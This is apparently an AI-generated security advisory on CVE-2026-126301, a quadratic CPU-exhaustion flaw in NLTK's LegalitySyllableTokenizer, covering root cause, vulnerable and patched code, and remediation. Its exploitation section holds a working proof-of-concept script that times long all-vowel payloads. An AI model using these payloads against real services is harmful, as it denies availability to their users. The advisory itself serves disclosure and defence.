CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GPWC-27CW-RH9R

CVE-2026-126301: Quadratic CPU Exhaustion in NLTK LegalitySyllableTokenizer

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 13, 2026·10 min read·2 visits

Executive Summary (TL;DR)

An unguarded loop in NLTK's LegalitySyllableTokenizer.tokenize method causes quadratic O(n^2) CPU exhaustion when processing long vowel sequences, allowing unauthenticated attackers to cause a denial of service.

The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.

Vulnerability Overview

The Natural Language Toolkit (nltk) is a widely deployed Python library used for symbolic and statistical natural language processing (NLP). Within its tokenization module (nltk.tokenize.legality_principle), the library provides LegalitySyllableTokenizer, a class designed to syllabify words based on the phonological legality principle of onsets and codas. Applications that perform linguistic analysis, text preprocessing, or readability scoring frequently expose NLTK tokenization routines to untrusted user inputs.

In NLTK versions >= 3.6 and < 3.10.4, the LegalitySyllableTokenizer.tokenize method exhibits an inefficient algorithmic complexity flaw classified under CWE-407 (Inefficient Algorithmic Complexity) and CWE-400 (Uncontrolled Resource Consumption). The method iterates backward through an input token while accumulating characters into a candidate syllable onset string. During each character iteration, the accumulated onset string is reversed via slicing and hashed to test for membership in a set of precomputed legal onsets.

When the input token consists of a continuous sequence of vowels, the state machine within tokenize never satisfies the conditions required to reset the accumulated onset buffer. Consequently, the buffer grows linearly with the length of the vowel run, and reversing and hashing this buffer on every iteration causes the total execution time to scale quadratically ($\mathcal{O}(n^2)$).

If an application passes unsanitized user input to LegalitySyllableTokenizer.tokenize, an unauthenticated remote attacker can supply a single oversized vowel token to monopolize a Python worker thread or process. Because Python's Global Interpreter Lock (GIL) restricts bytecode execution to a single thread per process, sustained CPU saturation in string manipulation routines degrades service availability across multi-threaded web servers and asynchronous task queues.

Root Cause Analysis

The root cause of CVE-2026-126301 lies in the state transition logic of LegalitySyllableTokenizer.tokenize in nltk/tokenize/legality_principle.py and its interaction with how legal onsets are defined during initialization. When LegalitySyllableTokenizer is instantiated, it invokes find_legal_onsets(), which extracts initial consonant clusters from a source text corpus using the onset() helper method. Because onset() halts immediately upon encountering the first vowel in any word, every string stored in self.legal_onsets consists exclusively of consonants and is guaranteed to be vowel-free.

When tokenize(self, token) executes, it traverses the input token in reverse order (for char in token[::-1]:) while maintaining two boolean state flags (vowel and onset) and an accumulator string (current_onset). On the first vowel encountered from the right end of the token, the not vowel branch executes, appending the character to syllable and setting vowel = True. All subsequent iterations enter the else block because vowel remains True.

Inside the else block, the method first evaluates if char_lower + current_onset[::-1] in self.legal_onsets:. When processing a continuous run of vowels, char_lower is always a vowel, and self.legal_onsets contains no vowels. Therefore, this set membership check is guaranteed to evaluate to False on every iteration, and the onset flag is never set to True. Execution then falls through to elif char_lower in self.vowels and not onset:, which evaluates to True for every vowel in the sequence.

Within this elif branch, the method executes current_onset += char_lower, appending the vowel to current_onset without resetting the state. The final else branch—which contains the reset logic current_onset = ""—is only reachable if a consonant is encountered that does not form a valid legal onset, or after onset has already transitioned to True. On an all-vowel string of length $n$, current_onset grows from length $1$ to $n-1$. On each step $k$, evaluating char_lower + current_onset[::-1] in self.legal_onsets allocates a reversed string copy of length $k-1$, concatenates it into a string of length $k$, and computes its hash over all $k$ bytes, yielding $\sum_{k=1}^{n} \mathcal{O}(k) = \mathcal{O}(n^2)$ time complexity.

> [!NOTE] > During a prior security hardening pass across the NLTK codebase, the sibling class SyllableTokenizer was updated with a MAX_TOKEN_LEN guard to prevent similar algorithmic complexity issues. However, LegalitySyllableTokenizer was omitted during that review, leaving it without either an input length limit or an internal bound on onset accumulation.

Code Analysis

Prior to version 3.10.4, the LegalitySyllableTokenizer.tokenize implementation in nltk/tokenize/legality_principle.py lacked bounds checking on both the input token length and the length of the current_onset accumulator:

# Vulnerable implementation in nltk/tokenize/legality_principle.py (< 3.10.4)
class LegalitySyllableTokenizer(TokenizerI):
    def tokenize(self, token):
        syllables = []
        syllable, current_onset = "", ""
        vowel, onset = False, False
        for char in token[::-1]:  # Walks token in reverse
            char_lower = char.lower()
            if not vowel:
                syllable += char
                vowel = bool(char_lower in self.vowels)
            else:
                # VULNERABLE SINK: O(k) string reversal, concatenation, and hashing on every iteration
                if char_lower + current_onset[::-1] in self.legal_onsets:
                    syllable += char
                    current_onset += char_lower
                    onset = True
                elif char_lower in self.vowels and not onset:
                    syllable += char
                    # VULNERABLE ACCUMULATION: grows unboundedly on continuous vowel runs
                    current_onset += char_lower
                else:
                    syllables.append(syllable)
                    syllable = char
                    current_onset = ""
                    vowel = bool(char_lower in self.vowels)
                    onset = False

The maintainers remediated this vulnerability in Pull Request #3895 across two distinct commits, implementing a defense-in-depth approach. The first commit (e20c40e26ec9306de885703f6e53250695f1f49b) introduced a class attribute MAX_TOKEN_LEN = 4096 (matching SyllableTokenizer) and added an explicit guard at the start of tokenize() that raises a ValueError if len(token) > self.MAX_TOKEN_LEN.

The second commit (78781ba4575d536fb1540897f27baca0fb40617c) eliminated the underlying quadratic complexity within the loop itself. The fix recognizes a fundamental invariant of the algorithm: because char_lower + current_onset[::-1] has length len(current_onset) + 1, it can never match an entry in self.legal_onsets once len(current_onset) reaches or exceeds the length of the longest string in self.legal_onsets.

# Patched implementation in nltk/tokenize/legality_principle.py (3.10.4)
class LegalitySyllableTokenizer(TokenizerI):
    MAX_TOKEN_LEN = 4096
 
    def tokenize(self, token):
        # Layer 1: Reject oversized tokens immediately
        if len(token) > self.MAX_TOKEN_LEN:
            raise ValueError(
                f"LegalitySyllableTokenizer: token length exceeds MAX_TOKEN_LEN "
                f"({self.MAX_TOKEN_LEN}); refusing to syllabify an oversized token "
                "(CWE-407). Raise MAX_TOKEN_LEN for longer tokens."
            )
        syllables = []
        syllable, current_onset = "", ""
        vowel, onset = False, False
        
        # Layer 2: Precompute the maximum possible legal onset length
        max_onset = max(map(len, self.legal_onsets), default=0)
        
        for char in token[::-1]:
            char_lower = char.lower()
            if not vowel:
                syllable += char
                vowel = bool(char_lower in self.vowels)
            else:
                # Short-circuit evaluation prevents O(k) reversal if current_onset is already at max_onset
                if (
                    len(current_onset) < max_onset
                    and char_lower + current_onset[::-1] in self.legal_onsets
                ):
                    syllable += char
                    current_onset += char_lower
                    onset = True
                elif char_lower in self.vowels and not onset:
                    syllable += char
                    # Cap growth of current_onset at max_onset
                    if len(current_onset) < max_onset:
                        current_onset += char_lower
                else:
                    syllables.append(syllable)
                    syllable = char
                    current_onset = ""
                    vowel = bool(char_lower in self.vowels)
                    onset = False

The fix is complete and eliminates the algorithmic complexity weakness even if a user overrides MAX_TOKEN_LEN to process longer strings. By precomputing max_onset = max(map(len, self.legal_onsets), default=0) and bounding current_onset growth to max_onset, the reversal and hashing operation executes in $\mathcal{O}(\text{max_onset})$ time per character. Because max_onset is bounded by natural language consonant cluster lengths (typically $\le 5$), the overall loop complexity is reduced from $\mathcal{O}(n^2)$ to strictly linear $\mathcal{O}(n \times \text{max_onset})$.

Exploitation

Exploiting CVE-2026-126301 requires no authentication or specialized privileges, provided an attacker can submit arbitrary text to an endpoint or processing pipeline that invokes LegalitySyllableTokenizer.tokenize(). Typical targets include NLP microservices, automated essay scoring systems, readability analyzers, and text-to-speech preprocessing pipelines. If the target application splits input documents on whitespace before passing individual word tokens to LegalitySyllableTokenizer, the attacker simply submits a payload consisting of a single unbroken string of vowels (e.g., "a" * 64000).

The following proof-of-concept script demonstrates the quadratic time scaling on continuous vowel runs compared against a linear control input of identical length consisting of alternating consonants and vowels:

import time
from nltk.tokenize import LegalitySyllableTokenizer
 
# Initialize tokenizer with a minimal onset vocabulary
tok = LegalitySyllableTokenizer("tr c d".split())
 
print("Testing quadratic growth on vowel runs ('a' * n):")
for n in (8000, 16000, 32000, 64000):
    payload = "a" * n
    start = time.perf_counter()
    tok.tokenize(payload)
    elapsed = time.perf_counter() - start
    print(f"vowel-run length {n:5d}: {elapsed:0.4f} seconds")
 
print("\nTesting linear scaling on control input ('ba' * (n/2)):")
control = "ba" * 32000  # 64,000 characters total
start = time.perf_counter()
tok.tokenize(control)
elapsed_control = time.perf_counter() - start
print(f"control   length 64000: {elapsed_control:0.4f} seconds")

Executing this benchmark against NLTK 3.10.3 produces empirical confirmation of $\mathcal{O}(n^2)$ complexity:

vowel-run length  8000: 0.031s
vowel-run length 16000: 0.120s  (~3.87x increase for 2x input)
vowel-run length 32000: 0.468s  (~3.90x increase for 2x input)
vowel-run length 64000: 1.840s  (~3.93x increase for 2x input)
 
control   length 64000: 0.004s  (~460x faster than all-vowel payload of same size)

As shown in the benchmark output, doubling the length of the vowel sequence consistently quadruples the CPU execution time ($2^2 = 4$). While a 64,000-character control string completes in 4 milliseconds, an all-vowel string of the same size blocks the interpreter for 1.84 seconds. Increasing the token length to 256,000 characters (~256 KB, well within standard HTTP POST body limits of 1 MB to 10 MB) extends single-request execution time to approximately 30 seconds.

Impact Assessment

The security impact of CVE-2026-126301 is confined to system availability, with no direct impact on confidentiality or integrity. The vulnerability carries a CVSS v3.1 score of 5.3 (Medium) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) from the GitHub Advisory Database and a CVSS v4.0 score of 6.9 (Medium) (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N) assigned by VulnCheck. The low attack complexity reflects that an attacker only needs to supply a repetitive string of vowels without needing to know the target's internal legal_onsets corpus.

In production Python environments, the practical availability impact depends on the concurrency model of the host application. In synchronous WSGI deployments (such as Gunicorn or uWSGI with a fixed pool of worker processes), each malicious request occupies one worker process for the duration of the quadratic loop. Sending a small number of concurrent requests containing vowel runs of $10^5$ to $10^6$ characters is sufficient to exhaust all available workers, causing legitimate requests to queue until they time out at the reverse proxy layer.

In asynchronous Python frameworks (such as FastAPI or aiohttp running on an asyncio event loop), invoking CPU-bound tokenization directly inside an async def coroutine blocks the entire event loop thread. Because the GIL is held during synchronous string slicing and hashing in Python, a single unauthenticated request can freeze all concurrent connections handled by that event loop process. As of publication, the EPSS score for CVE-2026-126301 is 0.00509 (44.01st percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

The primary remediation is to upgrade the nltk package to version 3.10.4 or later, which incorporates both the MAX_TOKEN_LEN = 4096 guard and the $\mathcal{O}(n)$ onset capping optimization. Administrators and developers can apply the update via pip:

pip install --upgrade "nltk>=3.10.4"

> [!IMPORTANT] > After upgrading to nltk>=3.10.4, calling LegalitySyllableTokenizer.tokenize() on any token longer than 4,096 characters will raise a ValueError. Applications that process untrusted text must catch ValueError exceptions during tokenization to prevent unhandled exceptions from returning HTTP 500 errors to clients.

For environments where an immediate package upgrade is not possible, developers should enforce strict input length validation before passing individual tokens to LegalitySyllableTokenizer.tokenize(). Wrapping the tokenizer call with a pre-check mitigates the quadratic complexity by bounding the maximum value of $n$:

MAX_SAFE_TOKEN_LEN = 1000
 
def safe_syllabify(tokenizer, token: str) -> list[str]:
    if len(token) > MAX_SAFE_TOKEN_LEN:
        raise ValueError(f"Token length {len(token)} exceeds maximum safe limit of {MAX_SAFE_TOKEN_LEN}")
    return tokenizer.tokenize(token)

As an additional layer of defense, web applications and APIs exposing NLP functionality should enforce strict request body size limits at the reverse proxy or API gateway layer (such as Nginx client_max_body_size or AWS WAF size constraint rules). Furthermore, CPU-intensive NLP pipelines should be executed in isolated worker pools with strict per-task execution timeouts rather than directly within main web server threads or asynchronous event loops.

Official Patches

NLTKUpstream Pull Request #3895 fixing CWE-407 in LegalitySyllableTokenizer
NLTKNLTK v3.10.4 official release tag

Fix Analysis (2)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Probability
0.51%
Top 56% most exploited

Affected Systems

Python applications and NLP pipelines utilizing nltk.tokenize.LegalitySyllableTokenizer

Affected Versions Detail

Product
Affected Versions
Fixed Version
nltk
NLTK Project
>= 3.6, < 3.10.43.10.4
AttributeDetail
CVE IDCVE-2026-126301 (GHSA-gpwc-27cw-rh9r)
Weakness ClassCWE-407 (Inefficient Algorithmic Complexity) / CWE-400
Affected Componentnltk.tokenize.legality_principle.LegalitySyllableTokenizer.tokenize
CVSS v3.1 / v4.05.3 Medium (v3.1) / 6.9 Medium (v4.0)
EPSS Score0.51% (44.01st Percentile)
ImpactSingle-core CPU Exhaustion / Application Denial of Service
Exploit StatusPublic Proof-of-Concept (PoC) Available
Patched Versionnltk 3.10.4

MITRE ATT&CK Mapping

T1499.004Endpoint Denial of Service: Application or System Exploitation
Impact
CWE-407
Inefficient Algorithmic Complexity

An algorithm has an inefficient worst-case execution time that can be triggered by an attacker, leading to resource exhaustion.

Known Exploits & Detection

GitHub Security AdvisoryPublic advisory containing proof-of-concept verification script demonstrating quadratic CPU growth on all-vowel strings.

Vulnerability Timeline

Initial fix commit authored in NLTK PR #3895 introducing MAX_TOKEN_LEN = 4096.
2026-09-16
Secondary optimization commit authored in NLTK PR #3895 linearizing the onset loop via max_onset.
2026-09-28
NLTK version 3.10.4 released containing both remediation commits.
2026-10-20
CVE-2026-126301 published by VulnCheck and GHSA-gpwc-27cw-rh9r published on GitHub Advisory Database.
2026-11-13

References & Sources

  • [1]GitHub Security Advisory: GHSA-gpwc-27cw-rh9r
  • [2]CVE Record: CVE-2026-126301
  • [3]VulnCheck Security Advisory for CVE-2026-126301
  • [4]NLTK Upstream Pull Request #3895
  • [5]Fix Commit (Token Length Cap): e20c40e26ec9306de885703f6e53250695f1f49b
  • [6]Fix Commit (Loop Linearization): 78781ba4575d536fb1540897f27baca0fb40617c
  • [7]NLTK Release Tag v3.10.4
  • [8]NLTK Upstream Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•4 minutes ago•CVE-2026-126300
5.3

CVE-2026-126300: Algorithmic Complexity Denial of Service in NLTK TreebankWordTokenizer.span_tokenize

CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 2 hours ago•CVE-2026-126304
8.7

CVE-2026-126304: Symlink Path Traversal in NLTK YCOECorpusReader

CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 3 hours ago•CVE-2026-128077
6.5

CVE-2026-128077: Authorization Bypass via Request Path Desynchronization in Nuxt and @nuxt/nitro-server

CVE-2026-128077 (GHSA-r99w-jh2x-3mg9) is an authorization bypass and interpretation conflict vulnerability affecting Nuxt and its underlying @nuxt/nitro-server package in versions 4.6.0 through 4.6.3. When an incoming HTTP request path begins with a double forward slash (e.g., //x/admin), the WHATWG URL parser within the Nuxt server-side page renderer interprets the initial segment as a network host/authority and resolves the remaining path (/admin) against the application's page router. Because Nitro server middleware, route-scoped serverHandlers, and Nitro routeRules evaluate the unparsed request path (//x/admin), path-based access controls, redirects, and security header policies configured for /admin fail to match and are bypassed.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 4 hours ago•CVE-2026-128084
4.8

CVE-2026-128084: Integer Truncation and SQL Query Truncation in sqlite3-ruby

Prior to version 2.10.2, the sqlite3-ruby gem explicitly cast 64-bit Ruby string lengths (long) to 32-bit signed integers (int) when invoking the underlying SQLite C API. On 64-bit platforms, providing a string of 4 GiB (2^32 bytes) or larger causes integer truncation, instructing SQLite to process only a prefix of the string. This flaw affects SQL query preparation, bound parameter values, and return values from custom Ruby-defined SQL functions and aggregates, allowing trailing SQL clauses such as WHERE restrictions to be silently dropped under specific conditions.

Alon Barad
Alon Barad
5 views•11 min read
•about 5 hours ago•CVE-2026-128068
5.3

CVE-2026-128068: Regular Expression Denial of Service in rails-html-sanitizer

CVE-2026-128068 (GHSA-cpgf-5mjf-73p7) is a Regular Expression Denial of Service (ReDoS) vulnerability in the rails-html-sanitizer Ruby gem affecting versions 1.0.3 through 1.7.1. The flaw resides in the Rails::HTML::PermitScrubber#scrub_attribute method, which uses the multiline regular expression /^\s*[^#\s].*/m to enforce local-only URI fragment references on SVG elements. On Ruby runtimes prior to version 3.2 (CRuby <= 3.1 and JRuby), evaluating an attribute value composed of repeated newline and whitespace characters without a hash character triggers quadratic backtracking O(n^2). Applications are only vulnerable if their sanitization allowlist is explicitly configured to permit SVG reference elements such as <use> alongside href or xlink:href attributes.

Alon Barad
Alon Barad
6 views•9 min read
•about 6 hours ago•CVE-2026-126360
5.3

CVE-2026-126360: Regular Expression Denial of Service in OpenTelemetry Python opentelemetry-api

CVE-2026-126360 (GHSA-mf5v-w3w3-f6cg) is an algorithmic complexity vulnerability (Regular Expression Denial of Service) in the trace context propagation logic of the opentelemetry-api package within the OpenTelemetry Python ecosystem. In versions prior to 1.45.2, the TraceContextTextMapPropagator.extract() method utilizes a regular expression susceptible to quadratic-time backtracking when parsing malformed W3C traceparent headers containing long sequences of whitespace followed by an embedded newline character. In Python applications—particularly those using single-threaded asynchronous event loops—an unauthenticated remote attacker transmitting payloads over newline-preserving carriers can monopolize CPU execution and induce application-level Denial of Service.

Alon Barad
Alon Barad
5 views•10 min read